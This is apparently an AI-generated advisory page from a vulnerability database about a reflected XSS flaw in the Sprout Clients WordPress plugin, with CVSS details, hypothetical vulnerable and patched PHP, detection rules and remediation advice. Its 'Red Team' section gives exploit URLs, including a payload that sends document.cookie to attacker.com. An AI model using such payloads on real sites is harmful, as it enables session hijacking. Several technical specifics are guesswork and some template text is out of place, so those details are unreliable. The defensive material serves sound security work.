CVE-2025-66118
Executive Summary
CVE-2025-66118 is a reflected Cross-Site Scripting (XSS) vulnerability in the Sprout Clients WordPress plugin by BoldGrid, affecting versions up to and including 3.2.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited to steal session cookies, perform phishing attacks, or deface the site. The CVSS score is 7.1 (High), and no public proof-of-concept or patch is currently available. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and requires immediate attention from site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:
- No patch is available as of the advisory date, leaving all installations of Sprout Clients <= 3.2.1 exposed.
- The plugin is actively maintained by BoldGrid, but the lack of a security update increases the window of exploitation.
- Site administrators should monitor the plugin repository for updates and consider disabling the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
- Integrity Impact: Low (I:L) – Limited ability to modify content.
- Availability Impact: Low (A:L) – Minor disruption possible.
Threat Level: High. The low attack complexity and network vector make this a prime target for phishing campaigns and automated scanning.
Deep Dive & Mechanics
The vulnerability exists in the Sprout Clients plugin, which manages client data and projects. The reflected XSS occurs when user input is directly echoed back into the HTML response without proper sanitization or encoding. Specifically, the plugin fails to neutralize input in parameters such as s, page, or custom query strings used in admin or front-end pages.
Attack Flow:
- An attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter.
- The victim (e.g., an admin or client) clicks the link.
- The plugin processes the request and reflects the payload in the response.
- The victim's browser executes the injected script, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Root Cause: The plugin uses echo $_GET['param'] or similar functions without applying esc_html() or wp_kses() for output encoding.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (sprout-clients/admin/views/some-page.php):
<?php
$search = $_GET['s'];
echo "<div class='search-results'>Search results for: " . $search . "</div>";
?>
Patched Code (hypothetical):
<?php
$search = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : '';
echo "<div class='search-results'>Search results for: " . esc_html($search) . "</div>";
?>
The patch uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with Sprout Clients <= 3.2.1 installed and activated.
- A victim user with any role (admin or subscriber).
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
s,page, orclient_id). - Craft a URL with a JavaScript payload:
http://target.com/wp-admin/admin.php?page=sprout-clients&s=<script>alert('XSS')</script> - Send the link to the victim via email or social engineering.
- When the victim clicks, the script executes in their browser context.
Advanced Payload (Cookie Stealing):
http://target.com/wp-admin/admin.php?page=sprout-clients&s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>tags or suspicious query strings. - Use WAF rules to block reflected XSS patterns (e.g.,
<script,onerror,javascript:). - Deploy Content Security Policy (CSP) headers to restrict inline script execution.
Mitigation:
- Disable the Sprout Clients plugin until a patch is released.
- Implement input validation and output encoding in custom code.
- Use WordPress security plugins (e.g., Wordfence) to block XSS attempts.
Indicators of Compromise (IOCs)
- URL Patterns:
*/wp-admin/admin.php?page=sprout-clients&s=*<script>**/wp-admin/admin.php?page=sprout-clients&s=*onerror=*
- HTTP Request Headers:
Referer: http://attacker.com/User-Agent: Mozilla/5.0 (XSS Scanner)
- Log Entries:
GET /wp-admin/admin.php?page=sprout-clients&s=%3Cscript%3Ealert(1)%3C/script%3E
- File Hashes (if modified):
sprout-clients/admin/views/some-page.php(SHA256: UNKNOWN)
Detection Engineering
YARA Rule
rule CVE_2025_66118_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Sprout Clients plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66118"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$vuln_param = /page=sprout-clients/
condition:
$vuln_param and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt on Sprout Clients Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS payloads in requests to Sprout Clients admin pages
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- 'page=sprout-clients'
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-66118 - Reflected XSS in Sprout Clients Plugin";
flow:to_server,established;
content:"page=sprout-clients";
http_uri;
pcre:"/<script[^>]*>.*?<\/script>/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate Sprout Clients until a patch is released.
- Apply virtual patching – Use a WAF to block requests containing
page=sprout-clientsand XSS patterns. - Monitor logs – Check for exploitation attempts using the IOCs above.
Long-Term Fix:
- Wait for BoldGrid to release a patched version (e.g., 3.2.2).
- Once available, update the plugin immediately.
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
Workarounds:
- If the plugin is critical, restrict access to admin pages via IP whitelisting or .htaccess authentication.
- Use a security plugin like Wordfence to add an additional layer of XSS protection.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.